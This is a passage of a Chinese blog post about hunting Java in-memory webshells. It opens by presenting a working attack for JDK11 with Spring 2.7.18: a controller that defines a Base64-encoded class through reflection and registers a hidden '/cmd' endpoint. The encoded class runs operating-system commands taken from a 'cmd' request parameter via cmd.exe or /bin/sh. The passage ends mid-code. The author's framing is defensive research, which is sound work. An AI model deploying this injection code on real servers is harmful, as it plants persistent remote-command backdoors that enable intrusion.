一、前言

最近遇到一次真实的内存马排查case，之前自己也是有专门做过内存马查杀工具，于是重新回顾梳理，并把自己的一些方法分享出来。

二、内存马介绍

首先我们了解一下内存马注入的方法，有两种注入内存马的方式：

1、动态注入组件

2、通过Instrument修改内存class

2.1、动态注入组件

通过创建如 Listener、Filter、Servlet、Valve 等 java web 组件，并通过如反射等形式进行注册、替换、增加 handler进行处理。

这里动态地对Spring注入Controller，由于之前在网上找到的代码不兼容新的Spring接口，这里对代码进行修正，成功注入。

目标环境：JDK11 + Spring 2.7.18

package com.example.testspring;


import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import org.springframework.web.util.pattern.PathPatternParser;


import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Base64;


@RestController
public class TestController {
    @GetMapping("/add_controller")
    public String hello() {
        try {
            String className = "com.example.spring.InjectControl";
            //加载com.example.spring.InjectControl类的字节码
            String b64 = "yv66vgAAADQAiQoAIQBFCABGCwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGILAEkAZgcAZwcAaAcAaQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAiTGNvbS9leGFtcGxlL3NwcmluZy9JbmplY3RDb250cm9sOwEABWxvZ2luAQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAUwcAagcAUgcAWQcAZwEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAIL2Zhdmljb24BAApTb3VyY2VGaWxlAQASSW5qZWN0Q29udHJvbC5qYXZhAQArTG9yZy9zcHJpbmdmcmFtZXdvcmsvc3RlcmVvdHlwZS9Db250cm9sbGVyOwwAIgAjAQADY21kBwBrDABsAG0HAG4MAG8AcAEAAAEAB29zLm5hbWUHAHEMAHIAbQwAcwB0AQADd2luDAB1AHYBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAAiAHcBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwAeAB5BwB6DAB7AHwMACIAfQEAAlxBDAB+AH8MAIAAgQwAggB0DACDACMHAGoMAIQAhQwAhgAjDACHAIgBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAgY29tL2V4YW1wbGUvc3ByaW5nL0luamVjdENvbnRyb2wBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9QcmludFdyaXRlcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEACXNlbmRFcnJvcgEABChJKVYAIQAgACEAAAAAAAIAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAKACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAagABgAIAAAAsysSArkAAwIATiy5AAQBADoELcYAkxIFOgUSBrgAB7YACBIJtgAKmQAhuwALWQa9AAxZAxINU1kEEg5TWQUtU7cADzoGpwAeuwALWQa9AAxZAxIQU1kEEhFTWQUtU7cADzoGuwASWRkGtgATtgAUtwAVEha2ABc6BxkHtgAYmQALGQe2ABmnAAUZBToFGQe2ABoZBBkFtgAbGQS2ABwZBLYAHacADCwRAZS5AB4CAKcABE6xAAEAAACuALEAHwADACUAAABKABIAAAAOAAkADwARABAAFQARABkAEwApABQARwAWAGIAGAB4ABkAjAAaAJEAGwCYABwAnQAdAKIAHgClAB8ArgAiALEAIQCyACMAJgAAAFwACQBEAAMAKwAsAAYAGQCJAC0ALgAFAGIAQAArACwABgB4ACoALwAwAAcACQClADEALgADABEAnQAyADMABAAAALMAJwAoAAAAAACzADQANQABAAAAswA2ADcAAgA4AAAAKQAI/gBHBwA5BwA6BwA5/AAaBwA7/AAlBwA8QQcAOfgAGvkACEIHAD0AAD4AAAAOAAEAPwABAEBbAAFzAEEAAgBCAAAAAgBDAD4AAAAGAAEARAAA";
            byte[] bytes = Base64.getDecoder().decode(b64);
            java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            m0.setAccessible(true);


            try {
                m0.invoke(classLoader, className, bytes, 0, bytes.length);
            }catch (Exception e){


            }




            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());


            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);


            RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
            //通过反射获得自定义controller中唯一的Method对象
            Method method = (classLoader.loadClass(className).getDeclaredMethods())[0];


            //在内存中动态注册 controller
            Class<?> class1 = Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo");
            Constructor<?> method1 = class1.getDeclaredConstructor(String.class, PathPatternsRequestCondition.class, PatternsRequestCondition.class,
                    RequestMethodsRequestCondition.class, ParamsRequestCondition.class, HeadersRequestCondition.class, ConsumesRequestCondition.class,
                    ProducesRequestCondition.class, RequestConditionHolder.class, RequestMappingInfo.BuilderConfiguration.class);
            method1.setAccessible(true);
            RequestMappingInfo info = (RequestMappingInfo) method1.newInstance(
                    "test",new PathPatternsRequestCondition(new PathPatternParser(),"/cmd"),null,new RequestMethodsRequestCondition(RequestMethod.GET),
                    new ParamsRequestCondition(),new HeadersRequestCondition(),new ConsumesRequestCondition(),
                    new ProducesRequestCondition(),new RequestConditionHolder(null),new RequestMappingInfo.BuilderConfiguration()
            );


//            // RequestMappingInfo抛弃了
//            //定义访问controller的URL地址
//            PatternsRequestCondition url = new PatternsRequestCondition("/cmd");
//            //定义允许访问 controller 的 HTTP 方法（GET/POST）
//            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(RequestMethod.GE